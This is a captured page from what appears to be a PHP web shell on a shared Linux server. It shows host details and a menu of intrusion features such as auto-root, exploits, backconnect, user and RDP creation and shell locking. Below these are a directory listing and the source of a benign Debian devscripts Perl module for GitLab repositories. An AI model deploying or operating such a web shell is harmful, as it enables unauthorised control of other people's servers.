Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Devscripts /
Salsa /
[ HOME SHELL ]
Name
Size
Permission
Action
Config.pm
10.72
KB
-rw-r--r--
Hooks.pm
7.9
KB
-rw-r--r--
Repo.pm
1.87
KB
-rw-r--r--
add_user.pm
976
B
-rw-r--r--
check_repo.pm
5.08
KB
-rw-r--r--
checkout.pm
2.08
KB
-rw-r--r--
create_repo.pm
1.13
KB
-rw-r--r--
del_repo.pm
602
B
-rw-r--r--
del_user.pm
733
B
-rw-r--r--
fork.pm
711
B
-rw-r--r--
forks.pm
892
B
-rw-r--r--
group.pm
724
B
-rw-r--r--
join.pm
452
B
-rw-r--r--
last_ci_status.pm
2.31
KB
-rw-r--r--
list_groups.pm
882
B
-rw-r--r--
list_repos.pm
876
B
-rw-r--r--
merge_request.pm
6.05
KB
-rw-r--r--
merge_requests.pm
1.05
KB
-rw-r--r--
protect_branch.pm
1.1
KB
-rw-r--r--
protected_branches.pm
761
B
-rw-r--r--
purge_cache.pm
285
B
-rw-r--r--
push.pm
3.12
KB
-rw-r--r--
push_repo.pm
1.65
KB
-rw-r--r--
rename_branch.pm
1.14
KB
-rw-r--r--
search_group.pm
776
B
-rw-r--r--
search_project.pm
1.38
KB
-rw-r--r--
search_user.pm
700
B
-rw-r--r--
update_repo.pm
4.15
KB
-rw-r--r--
update_safe.pm
569
B
-rw-r--r--
update_user.pm
883
B
-rw-r--r--
whoami.pm
578
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_repo.pm
# Updates repositories package Devscripts::Salsa::update_repo; use strict; use Devscripts::Output; use GitLab::API::v4::Constants qw(:all); use Moo::Role; with "Devscripts::Salsa::Repo"; our $prompt = 1; sub update_repo { my ($self, @reponames) = @_; if ($ds_yes < 0 and $self->config->command eq 'update_repo') { ds_warn "update_repo can't be launched when -i is set, use update_safe"; return 1; } unless (@reponames or $self->config->all) { ds_warn "Repository name is missing"; return 1; } if (@reponames and $self->config->all) { ds_warn "--all with a reponame makes no sense"; return 1; } return $self->_update_repo(@reponames); } sub _update_repo { my ($self, @reponames) = @_; my $res = 0; # Common options my $configparams = { wiki_enabled => 0, }; # visibility can be modified only by group owners $configparams->{visibility} = 'public' if $self->access_level >= $GITLAB_ACCESS_LEVEL_OWNER; # get repo list using Devscripts::Salsa::Repo my @repos = $self->get_repo($prompt, @reponames); return @repos unless (ref $repos[0]); # get_repo returns 1 when fails foreach my $repo (@repos) { ds_verbose "Configuring $repo->[1]"; my $id = $repo->[0]; my $str = $repo->[1]; eval { # apply new parameters $self->api->edit_project($id, { %$configparams, $self->desc($repo->[1]) }); # add hooks if needed $str =~ s#^.*/##; $self->add_hooks($id, $str); }; if ($@) { $res++; if ($self->config->no_fail) { ds_verbose $@; ds_warn "update_repo has failed for $repo->[1]. Use --verbose to see errors\n"; next; } else { ds_warn $@; return 1; } } elsif ($self->config->rename_head) { # 1 - creates new branch if --rename-head my $project = $self->api->project($id); if ($project->{default_branch} ne $self->config->dest_branch) { eval { $self->api->create_branch( $id, { ref => $self->config->source_branch, branch => $self->config->dest_branch, }); }; if ($@) { ds_debug $@ if ($@); $project = undef; } eval { $self->api->edit_project($id, { default_branch => $self->config->dest_branch }); # delete old branch only if "create_branch" succeed if ($project) { $self->api->delete_branch($id, $self->config->source_branch); } }; if ($@) { $res++; if ($self->config->no_fail) { ds_verbose $@; ds_warn "Branch rename has failed for $repo->[1]. Use --verbose to see errors\n"; next; } else { ds_warn $@; return 1; } } } else { ds_verbose "Head already renamed for $str"; } } ds_verbose "Project $str updated"; } return $res; } sub access_level { my ($self) = @_; my $user_id = $self->api->current_user()->{id}; if ($self->group_id) { my $tmp = $self->api->group_member($self->group_id, $user_id); unless ($tmp) { my $members = $self->api->paginator('all_group_members', $self->group_id, { query => $user_id }); while ($_ = $members->next) { return $_->{access_level} if ($_->{id} eq $user_id); } ds_warn "You're not member of this group"; return 0; } return $tmp->{access_level}; } return $GITLAB_ACCESS_LEVEL_OWNER; } 1;
Close